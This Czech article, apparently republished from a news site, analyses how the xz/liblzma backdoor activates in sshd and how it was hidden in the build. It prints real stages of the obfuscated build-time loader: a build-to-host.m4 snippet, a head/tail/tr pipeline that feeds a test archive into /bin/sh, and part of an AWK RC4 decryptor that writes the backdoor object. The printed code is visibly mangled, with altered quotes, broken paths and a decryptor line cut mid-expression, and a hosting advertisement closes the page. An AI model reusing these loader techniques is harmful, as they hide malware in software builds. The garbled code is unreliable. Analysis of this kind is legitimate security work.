Analýza logiky aktivace a fungování backdooru v balíčku xz

Dostupné předběžné výsledky reverzního inženýrství škodlivého objektového souboru, který byl vložen do liblzma v rámci kampaně na propagaci backdooru v balíku xz. Backdoor ovlivňuje pouze systémy x86_64 na bázi jádra Linux a C-knihovny Glibc, ve kterých je k sshd aplikován dodatečný patch, provádějící propojení s knihovnou libsystemd pro podporu mechanismu sd_notify. Původně se předpokládalo, že backdoor umožňuje obejít autentizaci v sshd a získat přístup k systému prostřednictvím SSH. Podrobnější analýza ukázala, že tomu tak není a backdoor poskytuje možnost provádět libovolný kód v systému, aniž by zanechal stopy v logách sshd.

Konkrétně zachycená funkce RSA_public_decrypt backdoorem kontroluje podpis hostitele pomocí fixního klíče Ed448, a v případě úspěšné kontroly provádí kód předaný externím hostem pomocí funkce system() před fází snížení privilegií procesem sshd. Data obsahující kód k provedení jsou extrahována z parametru „N“, který je předán funkci RSA_public_decrypt (pole „n“ ze struktury rsa_st, která obsahuje předaný externím hostem veřejný klíč), kontrolována pomocí kontrolního součtu a dešifrována pomocí předdefinovaného klíče ChaCha20 před fází ověření digitálního podpisu Ed448.

Jako signál pro aktivaci backdooru v sshd se používá standardní mechanismus výměny hostitelských klíčů. Backdoor využívá toho, že certifikáty OpenSSH obsahují veřejný klíč osoby, která podpis vytvořila, a reaguje pouze na klíč, který připravil útočník a který odpovídá předdefinovanému fixnímu klíči Ed448. Pokud ověření podpisu podle veřejného klíče neprojde, nebo pokud integrita dat pro provedení není potvrzena, backdoor vrací kontrolu standardním funkcím SSH.

Protože je uzavřený klíč útočníka neznámý, není možné realizovat ověřovací kód, který by umožnil cizím osobám aktivovat backdoor a vytvořit skener kompromitovaných hostů v síti. Výzkumníci připravili skript, který demonstruje techniku substituce veřejného klíče s libovolným obsahem do přenášeného certifikátu OpenSSH SSH klientem, který bude zpracován v zachycené funkci RSA_public_decrypt backdoorem.

Výzkumníci si také povšimli přítomnosti konstrukce, která deaktivuje zadní vrátka (killswitch) na lokálním systému, pokud je před spuštěním sshd nastavena proměnná prostředí „yolAbejyiejuvnup=Evjtgvsh5okmkAvj“.

Dále stojí za zmínku podrobná analýza shellových konstrukcí používaných k zamotání procesu extrakce objektového souboru se zadním vrátkem a jeho vložení do knihovny liblzma. Během sestavení balíčku xz ze skriptu build-to-host.m4 se spouštěl kód, který hledal mezi testovacími soubory archiv bad-3-corrupt_lzma2.xz, nahrazoval v něm některé znaky, převáděl ho na nepoškozený archiv a extrahoval z něj shellový skript. gl_am_configmake=`grep -aErls „#{4}[[:alnum:]]{5}#{4}$“ $srcdir/ 2> /dev/null` … gl_[$1]_config=’sed \“r\n\“ $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2> /dev/null’ gl_path_map=’tr „\t \-_“ » \t_\-‘

Získaný shellový skript postupně extrahoval z obsahu archivu good-large_compressed.lzma další shellový skript, přičemž určité sekvence přeskakoval pomocí příkazů head a tail a nahrazoval znaky pomocí příkazu tr. ####Hello#### # pár binárních bytů zde, ale jak se jedná o komentář, jsou ignorovány [ ! $(uname) = „Linux“ ] && exit 0 [ ! $(uname) = „Linux“ ] && exit 0 [ ! $(uname) = „Linux“ ] && exit 0 [ ! $(uname) = „Linux“ ] && exit 0 [ ! $(uname) = „Linux“ ] && exit 0 eval `grep ^srcdir= config.status` if test -f .. /.. /config.status; then eval `grep ^srcdir= .. /.. /config.status` srcdir=„.. /.. /$srcdir“ fi export i=„((head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +939)“;(xz -dc $srcdir /tests /files /good-large_compressed.lzma|eval $i|tail -c +31233|tr „\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113“ „\0-\377“)|xz -F raw —lzma1 -dc| /bin /sh ####World####

Vytvořil se poměrně složitý a objemný shell skript, který extrahuje soubor s backdoorem přímo z archivu good-large_compressed.lzma, dešifruje ho a integruje do liblzma. Mezi jiným obsahoval skript implementaci mechanismu pluginů, který umožňoval dodávat další spustitelné komponenty prostřednictvím umístění nových testovacích archivů, aniž by se měnil good-large_compressed.lzma a bad-3-corrupt_lzma2.xz, a přitom využíval vyhledávání podle signatury. V kódu byl také použit dešifrovací stroj založený na algoritmu RC4, realizovaný v jazyce AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster